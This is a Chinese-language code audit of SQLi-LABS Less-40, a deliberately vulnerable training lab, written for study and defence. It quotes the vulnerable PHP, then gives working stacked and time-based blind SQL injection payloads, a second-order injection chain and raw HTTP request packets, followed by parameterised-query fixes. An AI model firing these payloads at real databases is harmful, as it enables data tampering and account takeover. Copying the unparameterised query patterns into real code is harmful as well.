sqli-labs-Less-40-代码审计报告

12次阅读
没有评论

Less-40 审计报告:堆叠注入(Stacked Query,字符串型盲注)+ 二次注入

1. 关卡概述

项目 内容
关卡名称 Less-40 stacked Query String type Blind
源码路径 Less-40/index.php(堆叠注入)、Less-40/login.php、Less-40/pass_change.php、Less-40/login_create.php(二次注入)
漏洞类型 SQL 注入 – 堆叠查询(盲注)+ 二次注入(与 Less-24 同源)
注入点参数 GET /Less-40/?id=
报错/盲注 盲注(无 mysqli_error 回显,堆叠语句照常执行)
所需环境 PHP 5.x + mysqli 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-40/index.php(堆叠注入点)

// 第 25 行:输入无任何过滤
$id=$_GET['id'];

// 第 33 行:mysqli 连接
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);

// 第 46 行:括号 + 单引号拼接
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

// 第 48 行:关键 —— mysqli_multi_query 执行多语句
if (mysqli_multi_query($con1, $sql))
{
    // 第 55~62 行:有结果则显示 row[1]、row[2](无 else 报错分支)
    if($row = mysqli_fetch_row($result))
    {
        printf("Your Username is : %s", $row[1]);
        printf("Your Password is : %s", $row[2]);
    }
}
/* 没有 else 打印错误 —— 盲注 */

第 73~72 行之间没有 print_r(mysqli_error(...)),报错不可见,但堆叠语句仍会执行。

文件: Less-40/pass_change.php(二次注入触发点,与 Less-24 一致)

// 第 31 行:会话中取出用户名,未做转义
$username= $_SESSION["username"];

// 第 38 行:直接拼进 UPDATE(二次注入)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

login.php、login_create.php 与 Less-24 完全一致(已 diff 确认);pass_change.php 仅第 45 行显示图片不同,注入代码相同。


3. 漏洞分析

  • 核心缺陷一(堆叠):mysqli_multi_query 支持 ; 分隔多语句,$id 无过滤。
  • 闭合方式:WHERE id=('$id'),payload 用 1') 闭合 (',; 后追加语句,-- - 注释尾部。
  • 盲注判定:无报错回显,但堆叠的 INSERT/UPDATE 无输出也照样执行——利用效果通过"再查询是否出现新行/数据是否被改"来验证;也可用时间盲注。
  • 核心缺陷二(二次注入):注册时将 payload 存库、登录时存入 session,pass_change.php 修改密码时用未转义会话用户名拼 UPDATE——与 Less-24 完全同源。
  • 回显:index.php 有结果行时显示 row[1]/row[2],无结果不显示;无报错。

4. 利用方式

步骤一:确认堆叠注入(盲注下用"插入后可见"验证)

1');insert into users(id,username,password) values(99,'hacker','hacker')-- -

拼接后:

SELECT * FROM users WHERE id=('1');
insert into users(id,username,password) values(99,'hacker','hacker')-- -') LIMIT 0,1

步骤二:验证插入

  • 访问 ?id=99 → 显示 hacker,证明 INSERT 已执行。

步骤三:堆叠 UPDATE(盲注下修改数据)

1');update users set password='P@ssw0rd' where id=1-- -

步骤四:时间盲注(无输出时判定条件)

1') and if((select count(*) from users)>10,sleep(3),1) and ('1

步骤五:二次注入链(与 Less-24 相同)

  1. 在 login_create.php 注册恶意用户名: hacker' -- -,密码任意;
  2. 登录(用户名 hacker' -- -)→ session 存储原始值;
  3. 在 pass_change.php 修改密码 → 第 38 行 UPDATE 拼接未转义的 $username,闭合出注入。

5. Yakit 重放数据包

GET /sqli-labs/Less-40/?id=1%27)%3Binsert%20into%20users(id,username,password)%20values(99,%27hacker%27,%27hacker%27)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

时间盲注报文:

GET /sqli-labs/Less-40/?id=1%27)%20and%20if((select%20count(*)%20from%20users)%3E10,sleep(3),1)%20and%20(%271 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

%27='、%3B=;、%20=空格、%28=(、%29=)。堆叠注入为数据破坏性利用,仅在授权靶场练习。


6. 修复建议

修复一:PDO 预处理 + 禁多语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();

修复二:二次注入修复(存储/使用环节都转义)

<?php
// 1) 写入时参数化
$stmt = $pdo->prepare("INSERT INTO users (username, password) VALUES (:u, :p)");
$stmt->execute([':u' => $username, ':p' => $pass]);

// 2) 修改密码时不要用 session 原始值拼 SQL —— 参数化
$stmt = $pdo->prepare("UPDATE users SET password = :p WHERE username = :u AND password = :c");
$stmt->execute([':p' => $newpass, ':u' => $_SESSION['username'], ':c' => $curr_pass]);

// 3) 输出层 htmlspecialchars() 防存储型 XSS

修复三:加固要点

  • 移除 mysqli_multi_query;统一参数化;
  • id 参数 ctype_digit()/is_numeric() 强校验;
  • 关闭报错回显;数据库最小权限;升级 PHP 7+ / 8+。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysqli 扩展。
  • 本关 = Less-38 的括号闭合版(盲注)+ Less-24 的二次注入多文件结构。
正文完
 0